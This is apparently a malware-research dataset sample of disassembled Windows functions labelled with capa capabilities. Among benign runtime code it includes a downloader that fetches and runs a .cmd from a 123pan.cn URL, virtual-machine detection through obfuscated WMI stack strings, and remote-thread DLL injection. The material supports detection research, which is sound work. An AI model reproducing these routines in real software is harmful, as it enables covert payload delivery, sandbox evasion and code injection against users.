joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013980
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400c1ab0]
mov rax, qword [rbx]
mov r12, rcx
mov esi, edx
test rax, rax
je 0x140013a50
cmp qword [rax + 0x60], 0
jne 0x140013a70
lea rcx, [0x1400b9078]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_lock
mov rcx, r12
call sym.__pthread_get_pointer
test rax, rax
je 0x140013a80
cmp qword [rax + 0x1d8], r12
jne 0x140013a80
test byte [rax + 0x40], 0xc
jne 0x140013a80
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x140013a80
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x140013a80
mov rax, qword [rbx]
test rax, rax
je 0x140013ae0
cmp qword [rax + 0x60], 0
jne 0x140013b00
lea rcx, [0x1400b9078]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_unlock
test esi, esi
je 0x140013b10
lea edx, [rsi - 2]
cmp edx, 0x15
ja 0x140013b18
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
jmp sym.pthread_cancel
call sym.__shmem3_winpthreads_tdm_init_local_region
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x1400139ab
test rax, rax
jne 0x140013a70
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x1400139b6
mov rax, qword [rbx]
test rax, rax
je 0x140013ab0
cmp qword [rax + 0x60], 0
jne 0x140013ad0
lea rcx, [0x1400b9078]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_unlock
mov eax, 3
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
call sym.__shmem3_winpthreads_tdm_init_local_region
mov r8, rax
mov rax, qword [rbx]
cmp qword [r8 + 0x60], 0
je 0x140013a8f
test rax, rax
jne 0x140013ad0
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140013a9a
call sym.__shmem3_winpthreads_tdm_init_local_region
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x140013a1a
test rax, rax
jne 0x140013b00
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140013a25
xor eax, eax
jmp 0x140013aa4
mov eax, 0x16
jmp 0x140013aa4
Function at 0x140013d90
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call sym.pop_pthread_mem
mov r12, rax
test rax, rax
je 0x140013ff9
test rdi, rdi
je 0x140013dca
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x140013e37
add ebx, 1
cmp ebx, 1
je 0x140013f40
mov ecx, 0x14
call r14
cmp ebx, 5
jne 0x140013e05
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call sym.pthread_spin_destroy
cmp eax, 1
je 0x14001403f
cmp qword [r12 + 0x30], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x140013fe2
xor edx, edx
test rsi, rsi
je 0x140013eaf
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x140014010
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [sym.pthread_create_wrapper]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140013fa0
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x140013f70
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x140013f50
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor ecx, ecx
call r13
jmp 0x140013e05
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140013f1f
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x140013ef5
mov edx, 0xf
cmp eax, 0xe
jg 0x140013ef5
cmp eax, 2
mov edx, 2
cmovle edx, eax
jmp 0x140013ef5
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x140013fb0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call sym.pthread_mutex_destroy
mov rcx, r14
call sym.pthread_spin_destroy
cmp eax, 1
je 0x14001403f
mov qword [r12 + 0x68], 0xffffffffffffffff
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x140013fee
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
je 0x140014030
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call sym.__pthread_self_lite
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x140013eaf
mov rcx, r12
call sym.push_pthread_mem.part.0
mov eax, 0xb
jmp 0x140013ffe
call sym.replace_spin_keys.part.0
nop
nop word cs:[rax + rax]
Function at 0x140014e50
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140014e70
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140014eb8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140014e64
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140014ea5

Function at 0x140014ee0
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x1400e9400]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140014f98
mov rdx, qword [0x1400e9340]
lea rcx, [0x1400e9340]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140014f68
cmp rdx, rcx
jne 0x140014f4a
mov qword [rdx], rax
cmp rax, rcx
je 0x140014f4f
nop dword [rax]
test rax, rax
je 0x140014f7a
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140014f38
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140014f7a
mov rdx, rax
jmp 0x140014f46
lea rcx, [0x1400e9440]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140014fb6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140014f7a
Function at 0x140021390
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov r12, rcx
lea rcx, [0x1400c0e00]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.rand_s
mov rcx, rax
call rbx
test rax, rax
je 0x1400213d8
mov rcx, r12
mov qword [dbg.init_rand_s], rax
add rsp, 0x28
pop rbx
pop r12
jmp rax
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SystemFunction036
mov rcx, rax
call rbx
mov qword [0x1400e9fc0], rax
lea rax, [dbg.mingw_rand_s]
jmp 0x1400213bf

Function at 0x1400234b0
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov r9, qword [rcx + 0x40]
mov rsi, rdx
mov rbx, rcx
mov edx, 1
mov rcx, rsi
call sym.fread
mov edx, 0xffffffff
test rax, rax
jle 0x1400234dc
movzx edx, byte [rsi + rax - 1]
mov dword [rbx + 0x48], edx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x140024150
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x30
cmp byte [0x1400bbed0], 0
jne 0x14002425a
mov byte [0x1400bbed0], 1
call sym.__cxa_current_exception_type
test rax, rax
je 0x140024230
mov r12, qword [rax + 8]
xor eax, eax
lea r9, [rsp + 0x2c]
cmp byte [r12], 0x2a
mov dword [rsp + 0x2c], 0xffffffff
sete al
xor r8d, r8d
xor edx, edx
add r12, rax
mov rcx, r12
call sym.__cxa_demangle
mov ecx, 2
mov rbx, qword [dbg.__acrt_iob_func]
mov r13, rax
call rbx
mov edx, 1
lea rcx, str.terminate_called_after_throwing_an_instance_of_
mov r8d, 0x30
mov r9, rax
call sym.fwrite
mov edx, dword [rsp + 0x2c]
mov ecx, 2
test edx, edx
je 0x140024221
call rbx
mov rcx, r12
mov rdx, rax
call sym.fputs
mov ecx, 2
call rbx
mov r8d, 2
mov edx, 1
lea rcx, [0x1400bda71]
mov r9, rax
call sym.fwrite
mov eax, dword [rsp + 0x2c]
test eax, eax
jne 0x14002421c
mov rcx, r13
call sym.free
call sym.__cxa_rethrow
call rbx
mov rcx, r13
mov rdx, rax
call sym.fputs
jmp 0x1400241eb
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x2d
mov edx, 1
lea rcx, str.terminate_called_without_an_active_exception_n
mov r9, rax
call sym.fwrite
call sym.abort
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x1d
mov edx, 1
lea rcx, str.terminate_called_recursively_n
mov r9, rax
call sym.fwrite
call sym.abort
sub rdx, 1
mov rcx, rax
jne 0x1400242ef
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov r12, rax
call rbx
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rbx
mov rdx, rax
mov rcx, r12
call sym.fputs
mov ecx, 2
call rbx
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
jmp 0x140024255
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x140024255
Function at 0x14007d790
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x14007d7b7
call rbp
cmp dword [rax], 4
jne 0x14007d7d4
mov rcx, rdi
call method.std::__basic_file_char_.fd__
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sym.read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x14007d7b0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140090cd0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x140090cf8
xor ecx, ecx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x140090d40
cdqe
add rsi, rax
sub rbx, rax
jne 0x140090d10
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x140090d4c
call rbp
cmp dword [rax], 4
je 0x140090d10
lea rcx, str.random_device_could_not_be_read
call method.std.__throw_runtime_error_char_const_
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400b78a0
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete directory
Get common file path
Get file attributes

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x478
call dbg.__main
lea rsi, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x28
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, str.Failed_to_get_user_profile_path
mov r12d, eax
test eax, eax
jne 0x1400b79d0
lea rbx, [rsp + 0x140]
mov r9, rsi
mov edx, 0x104
mov rsi, qword [dbg.sprintf_s]
mov rcx, rbx
lea r8, str._slgx
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400b791a
test al, 0x10
jne 0x1400b79fb
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.Failed_to_create_folder
test eax, eax
je 0x1400b79d0
lea r13, [rsp + 0x250]
mov r9, rbx
mov edx, 0x104
lea r8, str._s_aria2c.exe
mov rcx, r13
call rsi
mov rdx, r13
lea rcx, str.https:__vip.123pan.cn_1814328088_gtx_aria2c.exe
call sym.DownloadFile_char_const__char_const_
lea rdx, str.Failed_to_download_aria2c.exe
test al, al
je 0x1400b79d0
lea r13, [rsp + 0x360]
mov edx, 0x104
mov r9, rbx
mov rcx, r13
lea r8, str._s1.cmd
call rsi
mov rdx, r13
lea rcx, str.https:__vip.123pan.cn_1814328088_gtx_551.61_ykd
call sym.DownloadFile_char_const__char_const_
test al, al
je 0x1400b79c1
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov r8, r13
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400b79ea
lea rdx, str.Failed_to_download_1.cmd
nop dword [rax + rax]
mov rcx, qword [0x1400c1430]
mov r12d, 1
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char______clone_.isra.0_
mov eax, r12d
add rsp, 0x478
pop rbx
pop rsi
pop r12
pop r13
ret
mov rcx, rbx
call sym.DeleteAllFilesInFolder_char_const_
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea rdx, str.Failed_to_delete_existing_folder
test eax, eax
jne 0x1400b791a
jmp 0x1400b79d0
Function at 0x1400017d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x140013038]
xor rax, rsp
mov qword [rbp + 0x40], rax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x20], xmm1
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x38], 0x650053
mov dword [rsp + 0x3c], 0x65006c
mov dword [rsp + 0x40], 0x740063
mov dword [rsp + 0x44], 0x2a0020
mov dword [rsp + 0x48], 0x660020
mov dword [rsp + 0x4c], 0x6f0072
mov dword [rsp + 0x50], 0x20006d
mov dword [rsp + 0x54], 0x690057
mov dword [rsp + 0x58], 0x33006e
mov dword [rsp + 0x5c], 0x5f0032
mov dword [rsp + 0x60], 0x690044
mov dword [rsp + 0x64], 0x6b0073
mov dword [rsp + 0x68], 0x720044
mov dword [rsp + 0x6c], 0x760069
mov dword [rsp + 0x70], 0x65
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.1400012b0
mov rdi, qword [rsp + 0x28]
test eax, eax
js 0x14000198f
mov dword [rbp - 0x80], 0x420056
mov dword [rbp - 0x7c], 0x58004f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x44], 0x69004d
mov dword [rbp - 0x40], 0x720063
mov dword [rbp - 0x3c], 0x73006f
mov dword [rbp - 0x38], 0x66006f
mov dword [rbp - 0x34], 0x200074
mov dword [rbp - 0x30], 0x690056
mov dword [rbp - 0x2c], 0x740072
mov dword [rbp - 0x28], 0x610075
mov dword [rbp - 0x24], 0x20006c
mov dword [rbp - 0x20], 0x690044
mov dword [rbp - 0x1c], 0x6b0073
movups xmmword [rbp - 0x18], xmm0
mov dword [rbp - 8], 0x4d0056
mov dword [rbp - 4], 0x610057
mov dword [rbp], 0x650072
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
lea rsi, [rbp - 0x80]
mov rbx, qword [rsp + 0x20]
cmp rbx, rdi
je 0x14000197a
nop dword [rax]
mov rdx, rsi
mov rcx, qword [rbx + 8]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
jne 0x14000196b
add rbx, 0x18
cmp rbx, rdi
jne 0x140001950
mov rdi, qword [rsp + 0x28]
cmp rdi, rbx
jne 0x14000198f
mov rbx, qword [rsp + 0x20]
add rsi, 0x3c
lea rax, [rbp + 0x34]
cmp rsi, rax
jne 0x140001944
mov r14d, 1
jmp 0x140001994
mov rbx, qword [rsp + 0x20]
test rbx, rbx
je 0x140001a0b
cmp rbx, rdi
je 0x1400019b7
nop
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
add rbx, 0x18
cmp rbx, rdi
jne 0x1400019a0
mov rbx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001a03
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a3b
mov rcx, rbx
call fcn.140003670
mov eax, r14d
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140003650
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400077c0
int3
Function at 0x140002070
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140013038]
xor rax, rsp
mov qword [rbp - 8], rax
mov r14, r8
mov r8, rdx
movzx edx, cx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140002196
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rcx, [0x14000fe90]
mov dword [rbp - 0x18], 0x657a6953
mov rbx, rax
mov dword [rbp - 0x14], 0x6552666f
mov dword [rbp - 0x10], 0x72756f73
mov word [rbp - 0xc], 0x6563
mov byte [rbp - 0xa], 0
mov dword [rbp - 0x28], 0x6b636f4c
mov dword [rbp - 0x24], 0x6f736552
mov dword [rbp - 0x20], 0x65637275
mov byte [rbp - 0x1c], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rdi
xor ecx, ecx
call rax
lea rcx, [0x14000feb0]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call rax
xor r15d, r15d
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov dword [rsp + 0x28], r15d
mov edx, 0x40000000
mov rcx, r14
mov dword [rsp + 0x20], 2
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140002196
lea r9, [rbp - 0x30]
mov dword [rbp - 0x30], r15d
mov r8d, esi
mov qword [rsp + 0x20], r15
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x140002198
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140003650
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400021c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
mov rax, qword [0x140013038]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov ebx, ecx
mov dword [rbp - 0x19], 0x6e65704f
lea rcx, [0x14000fed0]
mov dword [rbp - 0x15], 0x636f7250
mov rsi, rdx
mov dword [rbp - 0x11], 0x737365
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call rax
mov rdi, rax
test rax, rax
je 0x14000236e
mov rcx, rsi
mov qword [rsp + 0xe0], r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x14000fef0]
mov dword [rbp - 9], 0x74726956
mov dword [rbp - 5], 0x416c6175
mov dword [rbp - 1], 0x636f6c6c
lea ebx, [rax*2 + 2]
mov word [rbp + 3], 0x7845
mov byte [rbp + 5], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp - 9]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x1000
mov r8d, ebx
xor edx, edx
mov r14d, ebx
mov rcx, rdi
mov dword [rsp + 0x20], 4
call rax
mov rbx, rax
test rax, rax
jne 0x1400022b2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140002366
movdqa xmm0, xmmword [0x1400101d0]
lea rcx, [0x14000ff10]
movdqu xmmword [rbp + 7], xmm0
mov word [rbp + 0x17], 0x7972
mov byte [rbp + 0x19], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp + 7]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x21]
mov qword [rbp - 0x21], 0
mov qword [rsp + 0x20], rcx
mov r9, r14
mov rcx, rdi
mov r8, rsi
mov rdx, rbx
call rax
movdqa xmm0, xmmword [str.CreateRemoteThreWriteProcessMemo_]
lea rcx, [0x14000ff30]
movdqu xmmword [rbp + 0x1f], xmm0
mov dword [rbp - 0x29], 0
mov word [rbp + 0x2f], 0x6461
mov byte [rbp + 0x31], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [rbp - 0x29]
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 0
mov rcx, rdi
xor edx, edx
mov qword [rsp + 0x20], rbx
call rax
mov eax, 1
mov r14, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140003650
mov rbx, qword [rsp + 0xe8]
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400040ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004136
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004136
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004136
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004136
cmp dword [rcx + 0x84], 0xe
jbe 0x140004136
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004138
xor al, al
add rsp, 0x28
ret

Function at 0x140007800
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x140013038]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14000783c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.140003f54
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x1400078f8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x14000795e
test ebx, ebx
jne 0x14000795e
lea ecx, [rax + 2]
call fcn.140003f54
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.140003650
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret